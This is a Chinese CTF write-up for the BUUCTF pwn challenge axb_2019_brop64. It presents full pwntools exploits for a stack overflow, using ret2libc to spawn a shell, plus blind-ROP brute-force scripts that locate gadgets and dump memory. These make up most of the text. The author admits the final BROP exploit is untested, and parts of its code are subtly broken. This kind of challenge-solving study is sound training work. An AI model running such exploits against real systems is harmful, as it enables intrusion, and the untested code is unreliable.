[BUUCTF]PWN——axb_2019_brop64

axb_2019_brop64

附件

步骤:

  1. 例行检查,64位程序,开启了nx
    在这里插入图片描述
  2. 本地试运行一下,看看大概的情况
    在这里插入图片描述
  3. 64位ida载入,第8行的read,明显的溢出漏洞
    在这里插入图片描述
  4. 采用常规的ret2libc的方法
    64位传参,要用到寄存器,先找个pop rdi
    在这里插入图片描述
    先是常规的泄露libc
p.recvuntil('Please tell me:')
payload='a'*(0xd0+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendline(payload)

puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\0'))

简单说一下怎么去看接收到的数据,写exp的时候设置一下环境变量,context.log_level="debug",然后去找recvived,找到0x400963,找个是我们pop_rdi的地址,后面跟着的就是puts@got,u64(p.recvuntil('\x7f')[-6:].ljust(8,'\0'))接收一下,用0补足8位
在这里插入图片描述
接下里就是计算system和bin/sh的位置,然后构造payload获取shell

libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')

payload='a'*0xd8+p64(pop_rdi)+p64(binsh)+p64(system)+p64(main)

完整exp

from pwn import *
from LibcSearcher import *

context.log_level="debug"
#p=process('./axb_2019_brop64')
p=remote('node3.buuoj.cn',25296)
elf=ELF('./axb_2019_brop64')

main=0x4007d6
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi=0x400963	

p.recvuntil('Please tell me:')
payload='a'*(0xd0+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendline(payload)

puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\0'))
success('puts_addr:'+hex(puts_addr))

libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')

payload='a'*0xd8+p64(pop_rdi)+p64(binsh)+p64(system)+p64(main)
p.sendline(payload)

p.interactive()

在这里插入图片描述

看题目brop64,感觉这题是不是应该不是这样做的,去百度了一下
参考资料https://www.anquanke.com/post/id/196722#h3-13
原理看上述的链接,我这边就记录一下怎么盲打

1. 首先来确定一下漏洞类型
尝试nc后发送%p、%s、%x等格式化控制字符,发现没有异常,不是格式化字符串漏洞
在这里插入图片描述
利用cyclic来生成想要长度的字符串,当生成到250长度的时候,发现报错了,存在溢出漏洞
在这里插入图片描述
2. 确定偏移量

def Force_find_padding():
    padding_length=0
    while True:
        try:
            padding_length=padding_length+1
            sh = process("./axb_2019_brop64")#正常来说应该写成sh = remote('node3.buuoj.cn', 26528),我这边为了爆破速度快一点用的本地
            sh.recvuntil("Please tell me:")
            sh.send('A' * padding_length)
            if "Goodbye!" not in sh.recvall():
                raise "Programe not exit normally!"
            sh.close()
        except:
            log.success("The true padding length is "+str(padding_length-1))
            return padding_length
    log.error("We don't find true padding length!")

padding_length=Force_find_padding()

在这里插入图片描述

3. 寻找stop gadget
此处我们希望我们能够爆破出main函数的首地址,进而直接让程序回到main函数进行执行
首先此处我们可以先泄露原来的返回地址,进而缩小爆破范围。

padding_length=216

sh.recvuntil("Please tell me:")
sh.send('A' * padding_length)
sh.recvuntil('A' * padding_length)
old_return_addr=u64(sh.recvuntil('Goodbye!').strip('Goodbye!').ljust(8,'\x00'))
log.info('The old return address is '+ hex(old_return_addr))

在这里插入图片描述
得到程序的基址0x400000
那么我们可以写出爆破脚本(爆破范围是0x0000~0xFFFF)

def Find_stop_gadget(old_return_addr,padding_length):
    maybe_low_byte=0x0000
    while True:
        try:
            sh = process("./axb_2019_brop64")
            sh.recvuntil("Please tell me:")
            sh.send('A' * padding_length + p16(maybe_low_byte))
            if maybe_low_byte > 0xFFFF:
                log.error("All low byte is wrong!")
            if "Hello" in sh.recvall(timeout=1):
                log.success("We found a stop gadget is " + hex(old_return_addr+maybe_low_byte))
                return (old_return_addr+padding_length)
            maybe_low_byte=maybe_low_byte+1
        except:
            pass
            sh.close()

stop_gadget=Find_stop_gadget(0x400000,216)

在这里插入图片描述

4. 寻找BROP gadget

def get_brop_gadget(length, stop_gadget):
	addr=0x400000
	while True:
		try:
			sh = remote('node3.buuoj.cn', 26528)
			sh.recvuntil('me:')
			payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10
			sh.sendline(payload)
			if 'Hello' in sh.recvall(timeout=1):
				log.success("We found a brop gadget is " + hex(addr))
				return hex(addr)
			addr+=1
		except Exception:
			pass
			sh.close()

brop_gadget=get_brop_gadget(216,0x4007d6)

在这里插入图片描述

5. 寻找puts@plt

def get_puts_addr(length, rdi_ret, stop_gadget):
    addr = 0x400000
    while 1:       
        try:
        	sh = process("./axb_2019_brop64")
        	sh.recvuntil('me:')
        	payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)
        	sh.sendline(payload)
		if "ELF" in sh.recvall(timeout=1):
			log.success("We found puts addr is " + hex(addr))
			return hex(addr)
		addr+=1
        except:
	    pass
            sh.close()
puts_addr=get_puts_addr(216, 0x40095a+9, 0x4007d6)

在这里插入图片描述
6. 利用puts@plt,Dump源文件

def Dump_file(func_plt,padding_length,stop_gadget,brop_gadget):
    process_old_had_received_length=0
    process_now_had_received_length=0
    file_content=""
    while True:
        try:
            sh = process("./axb_2019_brop64")
            while True:
                sh.recvuntil("Please tell me:")
                payload  = 'A' * (padding_length - len('Begin_leak----->'))
                payload += 'Begin_leak----->'
                payload += p64(brop_gadget+9) # pop rdi;ret;
                payload += p64(0x400000+process_now_had_received_length)
                payload += p64(func_plt)
                payload += p64(stop_gadget)
                sh.send(payload)
                sh.recvuntil('Begin_leak----->' + p64(brop_gadget+9).strip('x00'))
                received_data = sh.recvuntil('x0AHello')[:-6]
                if len(received_data) == 0 :
                    file_content += 'x00'
                    process_now_had_received_length += 1
                else :
                    file_content += received_data
                    process_now_had_received_length += len(received_data)
        except:
            if process_now_had_received_length == process_old_had_received_length :
                log.info('We get ' + str(process_old_had_received_length) +' byte file!')
                with open('axb_2019_brop64_dump','wb') as fout:
                    fout.write(file_content)
                return
            process_old_had_received_length = process_now_had_received_length
            sh.close()
            pass

Dump_file(puts_addr,padding_length,stop_gadget,brop_gadget)

不懂什么情况,我dump不下来,就一直卡在这边
在这里插入图片描述
7. 最后是拖进ida里面,重新定义基址后找到got表,然后leak libc基址rop就行了
后面没亲测一下,具体的还是看原文

贴一下最后的exp

from pwn import *
import binascii
import sys
context.log_level='debug'
context.arch='amd64'

libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def get_sh():
    if args['REMOTE']:
        return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./axb_2019_brop64")

def Force_find_padding():
    padding_length=0
    while True:
        try:
            padding_length=padding_length+1
            sh = get_sh()
            sh.recvuntil("Please tell me:")
            sh.send('A' * padding_length)
            if "Goodbye!" not in sh.recvall():
                raise "Programe not exit normally!"
            sh.close()
        except:
            log.success("The true padding length is "+str(padding_length-1))
            return padding_length
    log.error("We don't find true padding length!")

def Find_stop_gadget(old_return_addr,padding_length):
    maybe_low_byte=0x0000
    while True:
        try:
            sh = get_sh()
            sh.recvuntil("Please tell me:")
            sh.send('A' * padding_length + p16(maybe_low_byte))
            if maybe_low_byte > 0xFFFF:
                log.error("All low byte is wrong!")
            if "Hello" in sh.recvall(timeout=1):
                log.success("We found a stop gadget is " + hex(old_return_addr+maybe_low_byte))
                return (old_return_addr+padding_length)
            maybe_low_byte=maybe_low_byte+1
        except:
            pass
            sh.close()

def Find_brop_gadget(libc_csu_init_address_maybe,padding_length,stop_gadget):
    maybe_low_byte=0x0000
    while True:
        try:
            sh = get_sh()
            sh.recvuntil("Please tell me:")
            payload  = 'A' * padding_length 
            payload += p64(libc_csu_init_address_maybe+maybe_low_byte) 
            payload += p64(0) * 6 
            payload += p64(stop_gadget) + p64(0) * 10
            sh.send(payload)
            if maybe_low_byte > 0xFFFF:
                log.error("All low byte is wrong!")
            if "Hello" in sh.recvall(timeout=1):
                log.success(
                    "We found a brop gadget is " + hex(
                        libc_csu_init_address_maybe+maybe_low_byte
                    )
                )
                return (libc_csu_init_address_maybe+maybe_low_byte)
            maybe_low_byte=maybe_low_byte+1
        except:
            pass
            sh.close()

def Find_func_plt(func_plt_maybe,padding_length,stop_gadget,brop_gadget):
    maybe_low_byte=0x0600
    while True:
        try:
            sh = get_sh()
            sh.recvuntil("Please tell me:")
            payload  = 'A' * padding_length 
            payload += p64(brop_gadget+9) # pop rdi;ret;
            payload += p64(0x400000)
            payload += p64(func_plt_maybe+maybe_low_byte)
            payload += p64(stop_gadget)
            sh.send(payload)
            if maybe_low_byte > 0xFFFF:
                log.error("All low byte is wrong!")
            if "ELF" in sh.recvall(timeout=1):
                log.success(
                    "We found a function plt address is " + hex(func_plt_maybe+maybe_low_byte)
                )
                return (func_plt_maybe+maybe_low_byte)
            maybe_low_byte=maybe_low_byte+1
        except:
            pass
            sh.close()

def Dump_file(func_plt,padding_length,stop_gadget,brop_gadget):
    process_old_had_received_length=0
    process_now_had_received_length=0
    file_content=""
    while True:
        try:
            sh = get_sh()
            while True:
                sh.recvuntil("Please tell me:")
                payload  = 'A' * (padding_length - len('Begin_leak----->'))
                payload += 'Begin_leak----->'
                payload += p64(brop_gadget+9) # pop rdi;ret;
                payload += p64(0x400000+process_now_had_received_length)
                payload += p64(func_plt)
                payload += p64(stop_gadget)
                sh.send(payload)
                sh.recvuntil('Begin_leak----->' + p64(brop_gadget+9).strip('x00'))
                received_data = sh.recvuntil('x0AHello')[:-6]
                if len(received_data) == 0 :
                    file_content += 'x00'
                    process_now_had_received_length += 1
                else :
                    file_content += received_data
                    process_now_had_received_length += len(received_data)
        except:
            if process_now_had_received_length == process_old_had_received_length :
                log.info('We get ' + str(process_old_had_received_length) +' byte file!')
                with open('axb_2019_brop64_dump','wb') as fout:
                    fout.write(file_content)
                return
            process_old_had_received_length = process_now_had_received_length
            sh.close()
            pass


padding_length=216
if padding_length is null:
    padding_length=Force_find_padding()

old_return_addr=0x400834
if old_return_addr is null:
    sh.recvuntil("Please tell me:")
    sh.send('A' * padding_length)
    sh.recvuntil('A' * padding_length)
    old_return_addr=u64(sh.recvuntil('Goodbye!').strip('Goodbye!').ljust(8,'x00'))
    log.info('The old return address is '+ hex(old_return_addr))

stop_gadget=0x4007D6
if stop_gadget is null:
    stop_gadget=Find_stop_gadget(old_return_addr & 0xFFF000,padding_length)

brop_gadget=0x40095A
if brop_gadget is null:
    brop_gadget=Find_brop_gadget(old_return_addr & 0xFFF000,padding_length,stop_gadget)

func_plt=0x400635
if func_plt is null:
    func_plt=Find_func_plt(old_return_addr & 0xFFF000,padding_length,stop_gadget,brop_gadget)

is_dumped=True
if is_dumped is not True:
    Dump_file(func_plt,padding_length,stop_gadget,brop_gadget)
    is_dumped=True

sh = get_sh()
puts_got_addr=0x601018
puts_plt_addr=0x400640

payload  = 'A' * (padding_length - len('Begin_leak----->'))
payload += 'Begin_leak----->'
payload += p64(brop_gadget+9) # pop rdi;ret;
payload += p64(puts_got_addr)
payload += p64(puts_plt_addr)
payload += p64(stop_gadget)
sh.recvuntil("Please tell me:")
sh.send(payload)
sh.recvuntil('Begin_leak----->' + p64(brop_gadget+9).strip('x00'))
puts_addr = u64(sh.recvuntil('x0AHello')[:-6].ljust(8,'x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()
payload  = 'A' * padding_length
payload += p64(brop_gadget+9) # pop rdi;ret;
payload += p64(bin_sh_addr)
payload += p64(system_addr)
payload += p64(stop_gadget)
sh.recvuntil("Please tell me:")
sh.send(payload)
sh.recv()
sh.interactive()
sh.close()

我果然还是太菜了,照着大佬的分析都没做到最后。在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值